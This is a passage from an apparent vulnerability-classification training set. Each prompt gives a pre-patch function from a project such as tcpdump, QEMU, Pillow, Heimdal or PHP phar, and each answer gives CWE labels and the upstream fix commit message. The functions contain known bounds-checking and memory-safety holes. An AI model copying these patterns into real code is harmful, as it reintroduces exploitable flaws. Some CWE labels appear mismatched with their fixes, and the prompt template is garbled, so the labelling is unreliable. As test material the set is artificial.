*/ (ptr.hna->mask[GW_HNA_FLAGS] & GW_HNA_FLAG_IPV4_NAT) ? " IPV4-NAT" : "", /* IPV6 */ (ptr.hna->mask[GW_HNA_FLAGS] & GW_HNA_FLAG_IPV6) ? " IPV6" : "", /* IPv6PREFIX */ (ptr.hna->mask[GW_HNA_FLAGS] & GW_HNA_FLAG_IPV6PREFIX) ? " IPv6-PREFIX" : "", /* uplink */ (ptr.hna->mask[GW_HNA_FLAGS] & GW_HNA_FLAG_LINKSPEED) ? deserialize_gw_speed(ptr.hna->mask[GW_HNA_UPLINK]) : 0, /* downlink */ (ptr.hna->mask[GW_HNA_FLAGS] & GW_HNA_FLAG_LINKSPEED) ? deserialize_gw_speed(ptr.hna->mask[GW_HNA_DOWNLINK]) : 0 )); } else { /* normal route */ ND_PRINT((ndo, "%s%s/%u", col == 0 ? "\n\t " : ", ", ipaddr_string(ndo, ptr.hna->network), mask2plen(EXTRACT_32BITS(ptr.hna->mask)))); } msg_data += sizeof(struct olsr_hna4); msg_tlen -= sizeof(struct olsr_hna4); col = (col + 1) % 4; } } break; case OLSR_NAMESERVICE_MSG: { u_int name_entries = EXTRACT_16BITS(msg_data+2); u_int addr_size = 4; int name_entries_valid = 0; u_int i; if (is_ipv6) addr_size = 16; if ((name_entries > 0) && ((name_entries * (4 + addr_size)) <= msg_tlen)) name_entries_valid = 1; if (msg_tlen < 4) goto trunc; ND_TCHECK2(*msg_data, 4); ND_PRINT((ndo, "\n\t Version %u, Entries %u%s", EXTRACT_16BITS(msg_data), name_entries, (name_entries_valid == 0) ? " (invalid)" : "")); if (name_entries_valid == 0) break; msg_data += 4; msg_tlen -= 4; for (i = 0; i < name_entries; i++) { int name_entry_len_valid = 0; if (msg_tlen < 4) break; ND_TCHECK2(*msg_data, 4); name_entry_type = EXTRACT_16BITS(msg_data); name_entry_len = EXTRACT_16BITS(msg_data+2); msg_data += 4; msg_tlen -= 4; if ((name_entry_len > 0) && ((addr_size + name_entry_len) <= msg_tlen)) name_entry_len_valid = 1; ND_PRINT((ndo, "\n\t #%u: type %#06x, length %u%s", (unsigned int) i, name_entry_type, name_entry_len, (name_entry_len_valid == 0) ? " (invalid)" : "")); if (name_entry_len_valid == 0) break; /* 32-bit alignment */ name_entry_padding = 0; if (name_entry_len%4 != 0) name_entry_padding = 4-(name_entry_len%4); if (msg_tlen < addr_size + name_entry_len + name_entry_padding) goto trunc; ND_TCHECK2(*msg_data, addr_size + name_entry_len + name_entry_padding); if (is_ipv6) ND_PRINT((ndo, ", address %s, name \"", ip6addr_string(ndo, msg_data))); else ND_PRINT((ndo, ", address %s, name \"", ipaddr_string(ndo, msg_data))); (void)fn_printn(ndo, msg_data + addr_size, name_entry_len, NULL); ND_PRINT((ndo, "\"")); msg_data += addr_size + name_entry_len + name_entry_padding; msg_tlen -= addr_size + name_entry_len + name_entry_padding; } /* for (i = 0; i < name_entries; i++) */ break; } /* case OLSR_NAMESERVICE_MSG */ /* * FIXME those are the defined messages that lack a decoder * you are welcome to contribute code ;-) */ case OLSR_POWERINFO_MSG: default: print_unknown_data(ndo, msg_data, "\n\t ", msg_tlen); break; } /* switch (msg_type) */ tptr += msg_len; } /* while (tptr < (pptr+length)) */ return; trunc: ND_PRINT((ndo, "[|olsr]")); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125'], 'message': 'CVE-2017-13688/OLSR: Do bounds checks before we fetch data. While we're at it, clean up some other bounds checks, so we check that we have a complete IPv4 message header if it's IPv4 and a complete IPv6 message header if it's IPv6. This fixes a buffer over-read discovered by Bhargava Shastry, SecT/TU Berlin. Add tests using the capture files supplied by the reporter(s).'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void virtio_config_writew(VirtIODevice *vdev, uint32_t addr, uint32_t data) { VirtioDeviceClass *k = VIRTIO_DEVICE_GET_CLASS(vdev); uint16_t val = data; if (addr > (vdev->config_len - sizeof(val))) return; stw_p(vdev->config + addr, val); if (k->set_config) { k->set_config(vdev, vdev->config); } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-269'], 'message': 'virtio: properly validate address before accessing config There are several several issues in the current checking: - The check was based on the minus of unsigned values which can overflow - It was done after .{set|get}_config() which can lead crash when config_len is zero since vdev->config is NULL Fix this by: - Validate the address in virtio_pci_config_{read|write}() before .{set|get}_config - Use addition instead minus to do the validation Cc: Michael S. Tsirkin <mst@redhat.com> Cc: Petr Matousek <pmatouse@redhat.com> Signed-off-by: Jason Wang <jasowang@redhat.com> Acked-by: Michael S. Tsirkin <mst@redhat.com> Acked-by: Petr Matousek <pmatouse@redhat.com> Message-id: 1367905369-10765-1-git-send-email-jasowang@redhat.com Signed-off-by: Anthony Liguori <aliguori@us.ibm.com>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: ImagingPcxDecode(Imaging im, ImagingCodecState state, UINT8* buf, Py_ssize_t bytes) { UINT8 n; UINT8* ptr; if (strcmp(im->mode, "1") == 0 && state->xsize > state->bytes * 8) { state->errcode = IMAGING_CODEC_OVERRUN; return -1; } else if (strcmp(im->mode, "P") == 0 && state->xsize > state->bytes) { state->errcode = IMAGING_CODEC_OVERRUN; return -1; } ptr = buf; for (;;) { if (bytes < 1) return ptr - buf; if ((*ptr & 0xC0) == 0xC0) { /* Run */ if (bytes < 2) return ptr - buf; n = ptr[0] & 0x3F; while (n > 0) { if (state->x >= state->bytes) { state->errcode = IMAGING_CODEC_OVERRUN; break; } state->buffer[state->x++] = ptr[1]; n--; } ptr += 2; bytes -= 2; } else { /* Literal */ state->buffer[state->x++] = ptr[0]; ptr++; bytes--; } if (state->x >= state->bytes) { if (state->bytes % state->xsize && state->bytes > state->xsize) { int bands = state->bytes / state->xsize; int stride = state->bytes / bands; int i; for (i=1; i< bands; i++) { // note -- skipping first band memmove(&state->buffer[i*state->xsize], &state->buffer[i*stride], state->xsize); } } /* Got a full line, unpack it */ state->shuffle((UINT8*) im->image[state->y + state->yoff] + state->xoff * im->pixelsize, state->buffer, state->xsize); state->x = 0; if (++state->y >= state->ysize) { /* End of file (errcode = 0) */ return -1; } } } } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125'], 'message': 'Fix OOB Access on PcxDecode.c'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void __init proc_root_init(void) { struct vfsmount *mnt; int err; proc_init_inodecache(); err = register_filesystem(&proc_fs_type); if (err) return; mnt = kern_mount_data(&proc_fs_type, &init_pid_ns); if (IS_ERR(mnt)) { unregister_filesystem(&proc_fs_type); return; } init_pid_ns.proc_mnt = mnt; proc_symlink("mounts", NULL, "self/mounts"); proc_net_init(); #ifdef CONFIG_SYSVIPC proc_mkdir("sysvipc", NULL); #endif proc_mkdir("fs", NULL); proc_mkdir("driver", NULL); proc_mkdir("fs/nfsd", NULL); /* somewhere for the nfsd filesystem to be mounted */ #if defined(CONFIG_SUN_OPENPROMFS) || defined(CONFIG_SUN_OPENPROMFS_MODULE) /* just give it a mountpoint */ proc_mkdir("openprom", NULL); #endif proc_tty_init(); #ifdef CONFIG_PROC_DEVICETREE proc_device_tree_init(); #endif proc_mkdir("bus", NULL); proc_sys_init(); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'procfs: fix a vfsmount longterm reference leak kern_mount() doesn't pair with plain mntput()... Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static size_t send_control_msg(VirtIOSerial *vser, void *buf, size_t len) { VirtQueueElement elem; VirtQueue *vq; vq = vser->c_ivq; if (!virtio_queue_ready(vq)) { return 0; } if (!virtqueue_pop(vq, &elem)) { return 0; } memcpy(elem.in_sg[0].iov_base, buf, len); virtqueue_push(vq, &elem, len); virtio_notify(VIRTIO_DEVICE(vser), vq); return len; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'virtio-serial: fix ANY_LAYOUT Don't assume a specific layout for control messages. Required by virtio 1. Signed-off-by: Michael S. Tsirkin <mst@redhat.com> Reviewed-by: Amit Shah <amit.shah@redhat.com> Reviewed-by: Jason Wang <jasowang@redhat.com>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: GF_AV1Config *gf_isom_av1_config_get(GF_ISOFile *the_file, u32 trackNumber, u32 DescriptionIndex) { GF_TrackBox *trak; GF_MPEGVisualSampleEntryBox *entry; if (gf_isom_get_reference_count(the_file, trackNumber, GF_ISOM_REF_TBAS)) { u32 ref_track; GF_Err e = gf_isom_get_reference(the_file, trackNumber, GF_ISOM_REF_TBAS, 1, &ref_track); if (e == GF_OK) { trackNumber = ref_track; } } trak = gf_isom_get_track_from_file(the_file, trackNumber); if (!trak || !trak->Media || !DescriptionIndex) return NULL; entry = (GF_MPEGVisualSampleEntryBox*)gf_list_get(trak->Media->information->sampleTable->SampleDescription->child_boxes, DescriptionIndex - 1); if (!entry || !entry->av1_config) return NULL; return AV1_DuplicateConfig(entry->av1_config->config); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-476'], 'message': 'fixed #1738'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: ssize_t enc_untrusted_recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen) { int klinux_flags = TokLinuxRecvSendFlag(flags); if (klinux_flags == 0 && flags != 0) { errno = EINVAL; return -1; } MessageWriter input; input.Push<int>(sockfd); input.Push<uint64_t>(len); input.Push<int>(klinux_flags); MessageReader output; const auto status = NonSystemCallDispatcher( ::asylo::host_call::kRecvFromHandler, &input, &output); CheckStatusAndParamCount(status, output, "enc_untrusted_recvfrom", 4); int result = output.next<int>(); int klinux_errno = output.next<int>(); // recvfrom() returns -1 on failure, with errno set to indicate the cause // of the error. if (result == -1) { errno = FromkLinuxErrorNumber(klinux_errno); return result; } auto buffer_received = output.next(); memcpy(buf, buffer_received.data(), len); // If |src_addr| is not NULL, and the underlying protocol provides the source // address, this source address is filled in. When |src_addr| is NULL, nothing // is filled in; in this case, |addrlen| is not used, and should also be NULL. if (src_addr != nullptr && addrlen != nullptr) { auto klinux_sockaddr_buf = output.next(); const struct klinux_sockaddr *klinux_addr = klinux_sockaddr_buf.As<struct klinux_sockaddr>(); FromkLinuxSockAddr(klinux_addr, klinux_sockaddr_buf.size(), src_addr, addrlen, TrustedPrimitives::BestEffortAbort); } return result; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'Fix vulnerability in enc_untrusted_recvfrom Change recvfrom memcpy to check for received_buffer size to avoid copying extra buffer. This issue was reported by Qinkun Bao, Zhaofeng Chen, Mingshen Sun, and Kang Li from Baidu Security. PiperOrigin-RevId: 322476299 Change-Id: I3606ff9ec51ec7cc4312c7555c645a2fc6e09b21'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int handle_exception(struct kvm_vcpu *vcpu) { struct vcpu_vmx *vmx = to_vmx(vcpu); struct kvm_run *kvm_run = vcpu->run; u32 intr_info, ex_no, error_code; unsigned long cr2, rip, dr6; u32 vect_info; enum emulation_result er; vect_info = vmx->idt_vectoring_info; intr_info = vmx->exit_intr_info; if (is_machine_check(intr_info)) return handle_machine_check(vcpu); if ((intr_info & INTR_INFO_INTR_TYPE_MASK) == INTR_TYPE_NMI_INTR) return 1; /* already handled by vmx_vcpu_run() */ if (is_no_device(intr_info)) { vmx_fpu_activate(vcpu); return 1; } if (is_invalid_opcode(intr_info)) { if (is_guest_mode(vcpu)) { kvm_queue_exception(vcpu, UD_VECTOR); return 1; } er = emulate_instruction(vcpu, EMULTYPE_TRAP_UD); if (er != EMULATE_DONE) kvm_queue_exception(vcpu, UD_VECTOR); return 1; } error_code = 0; if (intr_info & INTR_INFO_DELIVER_CODE_MASK) error_code = vmcs_read32(VM_EXIT_INTR_ERROR_CODE); /* * The #PF with PFEC.RSVD = 1 indicates the guest is accessing * MMIO, it is better to report an internal error. * See the comments in vmx_handle_exit. */ if ((vect_info & VECTORING_INFO_VALID_MASK) && !(is_page_fault(intr_info) && !(error_code & PFERR_RSVD_MASK))) { vcpu->run->exit_reason = KVM_EXIT_INTERNAL_ERROR; vcpu->run->internal.suberror = KVM_INTERNAL_ERROR_SIMUL_EX; vcpu->run->internal.ndata = 3; vcpu->run->internal.data[0] = vect_info; vcpu->run->internal.data[1] = intr_info; vcpu->run->internal.data[2] = error_code; return 0; } if (is_page_fault(intr_info)) { /* EPT won't cause page fault directly */ BUG_ON(enable_ept); cr2 = vmcs_readl(EXIT_QUALIFICATION); trace_kvm_page_fault(cr2, error_code); if (kvm_event_needs_reinjection(vcpu)) kvm_mmu_unprotect_page_virt(vcpu, cr2); return kvm_mmu_page_fault(vcpu, cr2, error_code, NULL, 0); } ex_no = intr_info & INTR_INFO_VECTOR_MASK; if (vmx->rmode.vm86_active && rmode_exception(vcpu, ex_no)) return handle_rmode_exception(vcpu, ex_no, error_code); switch (ex_no) { case AC_VECTOR: kvm_queue_exception_e(vcpu, AC_VECTOR, error_code); return 1; case DB_VECTOR: dr6 = vmcs_readl(EXIT_QUALIFICATION); if (!(vcpu->guest_debug & (KVM_GUESTDBG_SINGLESTEP | KVM_GUESTDBG_USE_HW_BP))) { vcpu->arch.dr6 &= ~15; vcpu->arch.dr6 |= dr6 | DR6_RTM; if (!(dr6 & ~DR6_RESERVED)) /* icebp */ skip_emulated_instruction(vcpu); kvm_queue_exception(vcpu, DB_VECTOR); return 1; } kvm_run->debug.arch.dr6 = dr6 | DR6_FIXED_1; kvm_run->debug.arch.dr7 = vmcs_readl(GUEST_DR7); /* fall through */ case BP_VECTOR: /* * Update instruction length as we may reinject #BP from * user space while in guest debugging mode. Reading it for * #DB as well causes no harm, it is not used in that case. */ vmx->vcpu.arch.event_exit_inst_len = vmcs_read32(VM_EXIT_INSTRUCTION_LEN); kvm_run->exit_reason = KVM_EXIT_DEBUG; rip = kvm_rip_read(vcpu); kvm_run->debug.arch.pc = vmcs_readl(GUEST_CS_BASE) + rip; kvm_run->debug.arch.exception = ex_no; break; default: kvm_run->exit_reason = KVM_EXIT_EXCEPTION; kvm_run->ex.exception = ex_no; kvm_run->ex.error_code = error_code; break; } return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-388'], 'message': 'kvm: nVMX: Allow L1 to intercept software exceptions (#BP and #OF) When L2 exits to L0 due to "exception or NMI", software exceptions (#BP and #OF) for which L1 has requested an intercept should be handled by L1 rather than L0. Previously, only hardware exceptions were forwarded to L1. Signed-off-by: Jim Mattson <jmattson@google.com> Cc: stable@vger.kernel.org Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: fix_transited_encoding(krb5_context context, krb5_kdc_configuration *config, krb5_boolean check_policy, const TransitedEncoding *tr, EncTicketPart *et, const char *client_realm, const char *server_realm, const char *tgt_realm) { krb5_error_code ret = 0; char **realms, **tmp; unsigned int num_realms; size_t i; switch (tr->tr_type) { case DOMAIN_X500_COMPRESS: break; case 0: /* * Allow empty content of type 0 because that is was Microsoft * generates in their TGT. */ if (tr->contents.length == 0) break; kdc_log(context, config, 0, "Transited type 0 with non empty content"); return KRB5KDC_ERR_TRTYPE_NOSUPP; default: kdc_log(context, config, 0, "Unknown transited type: %u", tr->tr_type); return KRB5KDC_ERR_TRTYPE_NOSUPP; } ret = krb5_domain_x500_decode(context, tr->contents, &realms, &num_realms, client_realm, server_realm); if(ret){ krb5_warn(context, ret, "Decoding transited encoding"); return ret; } if(strcmp(client_realm, tgt_realm) && strcmp(server_realm, tgt_realm)) { /* not us, so add the previous realm to transited set */ if (num_realms + 1 > UINT_MAX/sizeof(*realms)) { ret = ERANGE; goto free_realms; } tmp = realloc(realms, (num_realms + 1) * sizeof(*realms)); if(tmp == NULL){ ret = ENOMEM; goto free_realms; } realms = tmp; realms[num_realms] = strdup(tgt_realm); if(realms[num_realms] == NULL){ ret = ENOMEM; goto free_realms; } num_realms++; } if(num_realms == 0) { if(strcmp(client_realm, server_realm)) kdc_log(context, config, 0, "cross-realm %s -> %s", client_realm, server_realm); } else { size_t l = 0; char *rs; for(i = 0; i < num_realms; i++) l += strlen(realms[i]) + 2; rs = malloc(l); if(rs != NULL) { *rs = '\0'; for(i = 0; i < num_realms; i++) { if(i > 0) strlcat(rs, ", ", l); strlcat(rs, realms[i], l); } kdc_log(context, config, 0, "cross-realm %s -> %s via [%s]", client_realm, server_realm, rs); free(rs); } } if(check_policy) { ret = krb5_check_transited(context, client_realm, server_realm, realms, num_realms, NULL); if(ret) { krb5_warn(context, ret, "cross-realm %s -> %s", client_realm, server_realm); goto free_realms; } et->flags.transited_policy_checked = 1; } et->transited.tr_type = DOMAIN_X500_COMPRESS; ret = krb5_domain_x500_encode(realms, num_realms, &et->transited.contents); if(ret) krb5_warn(context, ret, "Encoding transited encoding"); free_realms: for(i = 0; i < num_realms; i++) free(realms[i]); free(realms); return ret; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-284', 'CWE-295'], 'message': 'Fix transit path validation CVE-2017-6594 Commit f469fc6 (2010-10-02) inadvertently caused the previous hop realm to not be added to the transit path of issued tickets. This may, in some cases, enable bypass of capath policy in Heimdal versions 1.5 through 7.2. Note, this may break sites that rely on the bug. With the bug some incomplete [capaths] worked, that should not have. These may now break authentication in some cross-realm configurations.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: ZEND_API void zend_object_store_ctor_failed(zval *zobject TSRMLS_DC) { zend_object_handle handle = Z_OBJ_HANDLE_P(zobject); zend_object_store_bucket *obj_bucket = &EG(objects_store).object_buckets[handle]; obj_bucket->bucket.obj.handlers = Z_OBJ_HT_P(zobject);; obj_bucket->destructor_called = 1; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Fix bug #73052 - Memory Corruption in During Deserialized-object Destruction'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: xfs_acl_from_disk(struct xfs_acl *aclp) { struct posix_acl_entry *acl_e; struct posix_acl *acl; struct xfs_acl_entry *ace; int count, i; count = be32_to_cpu(aclp->acl_cnt); acl = posix_acl_alloc(count, GFP_KERNEL); if (!acl) return ERR_PTR(-ENOMEM); for (i = 0; i < count; i++) { acl_e = &acl->a_entries[i]; ace = &aclp->acl_entry[i]; /* * The tag is 32 bits on disk and 16 bits in core. * * Because every access to it goes through the core * format first this is not a problem. */ acl_e->e_tag = be32_to_cpu(ace->ae_tag); acl_e->e_perm = be16_to_cpu(ace->ae_perm); switch (acl_e->e_tag) { case ACL_USER: case ACL_GROUP: acl_e->e_id = be32_to_cpu(ace->ae_id); break; case ACL_USER_OBJ: case ACL_GROUP_OBJ: case ACL_MASK: case ACL_OTHER: acl_e->e_id = ACL_UNDEFINED_ID; break; default: goto fail; } } return acl; fail: posix_acl_release(acl); return ERR_PTR(-EINVAL); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-190', 'CWE-189'], 'message': 'xfs: validate acl count This prevents in-memory corruption and possible panics if the on-disk ACL is badly corrupted. Signed-off-by: Christoph Hellwig <hch@lst.de> Signed-off-by: Ben Myers <bpm@sgi.com>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: int phar_parse_zipfile(php_stream *fp, char *fname, int fname_len, char *alias, int alias_len, phar_archive_data** pphar, char **error) /* {{{ */ { phar_zip_dir_end locator; char buf[sizeof(locator) + 65536]; zend_long size; php_uint16 i; phar_archive_data *mydata = NULL; phar_entry_info entry = {0}; char *p = buf, *ext, *actual_alias = NULL; char *metadata = NULL; size = php_stream_tell(fp); if (size > sizeof(locator) + 65536) { /* seek to max comment length + end of central directory record */ size = sizeof(locator) + 65536; if (FAILURE == php_stream_seek(fp, -size, SEEK_END)) { php_stream_close(fp); if (error) { spprintf(error, 4096, "phar error: unable to search for end of central directory in zip-based phar \"%s\"", fname); } return FAILURE; } } else { php_stream_seek(fp, 0, SEEK_SET); } if (!php_stream_read(fp, buf, size)) { php_stream_close(fp); if (error) { spprintf(error, 4096, "phar error: unable to read in data to search for end of central directory in zip-based phar \"%s\"", fname); } return FAILURE; } while ((p=(char *) memchr(p + 1, 'P', (size_t) (size - (p + 1 - buf)))) != NULL) { if ((p - buf) + sizeof(locator) <= size && !memcmp(p + 1, "K\5\6", 3)) { memcpy((void *)&locator, (void *) p, sizeof(locator)); if (PHAR_GET_16(locator.centraldisk) != 0 || PHAR_GET_16(locator.disknumber) != 0) { /* split archives not handled */ php_stream_close(fp); if (error) { spprintf(error, 4096, "phar error: split archives spanning multiple zips cannot be processed in zip-based phar \"%s\"", fname); } return FAILURE; } if (PHAR_GET_16(locator.counthere) != PHAR_GET_16(locator.count)) { if (error) { spprintf(error, 4096, "phar error: corrupt zip archive, conflicting file count in end of central directory record in zip-based phar \"%s\"", fname); } php_stream_close(fp); return FAILURE; } mydata = pecalloc(1, sizeof(phar_archive_data), PHAR_G(persist)); mydata->is_persistent = PHAR_G(persist); /* read in archive comment, if any */ if (PHAR_GET_16(locator.comment_len)) { metadata = p + sizeof(locator); if (PHAR_GET_16(locator.comment_len) != size - (metadata - buf)) { if (error) { spprintf(error, 4096, "phar error: corrupt zip archive, zip file comment truncated in zip-based phar \"%s\"", fname); } php_stream_close(fp); pefree(mydata, mydata->is_persistent); return FAILURE; } mydata->metadata_len = PHAR_GET_16(locator.comment_len); if (phar_parse_metadata(&metadata, &mydata->metadata, PHAR_GET_16(locator.comment_len)) == FAILURE) { mydata->metadata_len = 0; /* if not valid serialized data, it is a regular string */ ZVAL_NEW_STR(&mydata->metadata, zend_string_init(metadata, PHAR_GET_16(locator.comment_len), mydata->is_persistent)); } } else { ZVAL_UNDEF(&mydata->metadata); } goto foundit; } } php_stream_close(fp); if (error) { spprintf(error, 4096, "phar error: end of central directory not found in zip-based phar \"%s\"", fname); } return FAILURE; foundit: mydata->fname = pestrndup(fname, fname_len, mydata->is_persistent); #ifdef PHP_WIN32 phar_unixify_path_separators(mydata->fname, fname_len); #endif mydata->is_zip = 1; mydata->fname_len = fname_len; ext = strrchr(mydata->fname, '/'); if (ext) { mydata->ext = memchr(ext, '.', (mydata->fname + fname_len) - ext); if (mydata->ext == ext) { mydata->ext = memchr(ext + 1, '.', (mydata->fname + fname_len) - ext - 1); } if (mydata->ext) { mydata->ext_len = (mydata->fname + fname_len) - mydata->ext; } } /* clean up on big-endian systems */ /* seek to central directory */ php_stream_seek(fp, PHAR_GET_32(locator.cdir_offset), SEEK_SET); /* read in central directory */ zend_hash_init(&mydata->manifest, PHAR_GET_16(locator.count), zend_get_hash_value, destroy_phar_manifest_entry, (zend_bool)mydata->is_persistent); zend_hash_init(&mydata->mounted_dirs, 5, zend_get_hash_value, NULL, (zend_bool)mydata->is_persistent); zend_hash_init(&mydata->virtual_dirs, PHAR_GET_16(locator.count) * 2, zend_get_hash_value, NULL, (zend_bool)mydata->is_persistent); entry.phar = mydata; entry.is_zip = 1; entry.fp_type = PHAR_FP; entry.is_persistent = mydata->is_persistent; #define PHAR_ZIP_FAIL_FREE(errmsg, save) \ zend_hash_destroy(&mydata->manifest); \ mydata->manifest.u.flags = 0; \ zend_hash_destroy(&mydata->mounted_dirs); \ mydata->mounted_dirs.u.flags = 0; \ zend_hash_destroy(&mydata->virtual_dirs); \ mydata->virtual_dirs.u.flags = 0; \ php_stream_close(fp); \ zval_dtor(&mydata->metadata); \ if (mydata->signature) { \ efree(mydata->signature); \ } \ if (error) { \ spprintf(error, 4096, "phar error: %s in zip-based phar \"%s\"", errmsg, mydata->fname); \ } \ pefree(mydata->fname, mydata->is_persistent); \ if (mydata->alias) { \ pefree(mydata->alias, mydata->is_persistent); \ } \ pefree(mydata, mydata->is_persistent); \ efree(save); \ return FAILURE; #define PHAR_ZIP_FAIL(errmsg) \ zend_hash_destroy(&mydata->manifest); \ mydata->manifest.u.flags = 0; \ zend_hash_destroy(&mydata->mounted_dirs); \ mydata->mounted_dirs.u.flags = 0; \ zend_hash_destroy(&mydata->virtual_dirs); \ mydata->virtual_dirs.u.flags = 0; \ php_stream_close(fp); \ zval_dtor(&mydata->metadata); \ if (mydata->signature) { \ efree(mydata->signature); \ } \ if (error) { \ spprintf(error, 4096, "phar error: %s in zip-based phar \"%s\"", errmsg, mydata->fname); \ } \ pefree(mydata->fname, mydata->is_persistent); \ if (mydata->alias) { \ pefree(mydata->alias, mydata->is_persistent); \ } \ pefree(mydata, mydata->is_persistent); \ return FAILURE; /* add each central directory item to the manifest */ for (i = 0; i < PHAR_GET_16(locator.count); ++i) { phar_zip_central_dir_file zipentry; zend_off_t beforeus = php_stream_tell(fp); if (sizeof(zipentry) != php_stream_read(fp, (char *) &zipentry, sizeof(zipentry))) { PHAR_ZIP_FAIL("unable to read central directory entry, truncated"); } /* clean up for bigendian systems */ if (memcmp("PK\1\2", zipentry.signature, 4)) { /* corrupted entry */ PHAR_ZIP_FAIL("corrupted central directory entry, no magic signature"); } if (entry.is_persistent) { entry.manifest_pos = i; } entry.compressed_filesize = PHAR_GET_32(zipentry.compsize); entry.uncompressed_filesize = PHAR_GET_32(zipentry.uncompsize); entry.crc32 = PHAR_GET_32(zipentry.crc32); /* do not PHAR_GET_16 either on the next line */ entry.timestamp = phar_zip_d2u_time(zipentry.timestamp, zipentry.datestamp); entry.flags = PHAR_ENT_PERM_DEF_FILE; entry.header_offset = PHAR_GET_32(zipentry.offset); entry.offset = entry.offset_abs = PHAR_GET_32(zipentry.offset) + sizeof(phar_zip_file_header) + PHAR_GET_16(zipentry.filename_len) + PHAR_GET_16(zipentry.extra_len); if (PHAR_GET_16(zipentry.flags) & PHAR_ZIP_FLAG_ENCRYPTED) { PHAR_ZIP_FAIL("Cannot process encrypted zip files"); } if (!PHAR_GET_16(zipentry.filename_len)) { PHAR_ZIP_FAIL("Cannot process zips created from stdin (zero-length filename)"); } entry.filename_len = PHAR_GET_16(zipentry.filename_len); entry.filename = (char *) pemalloc(entry.filename_len + 1, entry.is_persistent); if (entry.filename_len != php_stream_read(fp, entry.filename, entry.filename_len)) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unable to read in filename from central directory, truncated"); } entry.filename[entry.filename_len] = '\0'; if (entry.filename[entry.filename_len - 1] == '/') { entry.is_dir = 1; if(entry.filename_len > 1) { entry.filename_len--; } entry.flags |= PHAR_ENT_PERM_DEF_DIR; } else { entry.is_dir = 0; } if (entry.filename_len == sizeof(".phar/signature.bin")-1 && !strncmp(entry.filename, ".phar/signature.bin", sizeof(".phar/signature.bin")-1)) { size_t read; php_stream *sigfile; zend_off_t now; char *sig; now = php_stream_tell(fp); pefree(entry.filename, entry.is_persistent); sigfile = php_stream_fopen_tmpfile(); if (!sigfile) { PHAR_ZIP_FAIL("couldn't open temporary file"); } php_stream_seek(fp, 0, SEEK_SET); /* copy file contents + local headers and zip comment, if any, to be hashed for signature */ php_stream_copy_to_stream_ex(fp, sigfile, entry.header_offset, NULL); /* seek to central directory */ php_stream_seek(fp, PHAR_GET_32(locator.cdir_offset), SEEK_SET); /* copy central directory header */ php_stream_copy_to_stream_ex(fp, sigfile, beforeus - PHAR_GET_32(locator.cdir_offset), NULL); if (metadata) { php_stream_write(sigfile, metadata, PHAR_GET_16(locator.comment_len)); } php_stream_seek(fp, sizeof(phar_zip_file_header) + entry.header_offset + entry.filename_len + PHAR_GET_16(zipentry.extra_len), SEEK_SET); sig = (char *) emalloc(entry.uncompressed_filesize); read = php_stream_read(fp, sig, entry.uncompressed_filesize); if (read != entry.uncompressed_filesize) { php_stream_close(sigfile); efree(sig); PHAR_ZIP_FAIL("signature cannot be read"); } mydata->sig_flags = PHAR_GET_32(sig); if (FAILURE == phar_verify_signature(sigfile, php_stream_tell(sigfile), mydata->sig_flags, sig + 8, entry.uncompressed_filesize - 8, fname, &mydata->signature, &mydata->sig_len, error)) { efree(sig); if (error) { char *save; php_stream_close(sigfile); spprintf(&save, 4096, "signature cannot be verified: %s", *error); efree(*error); 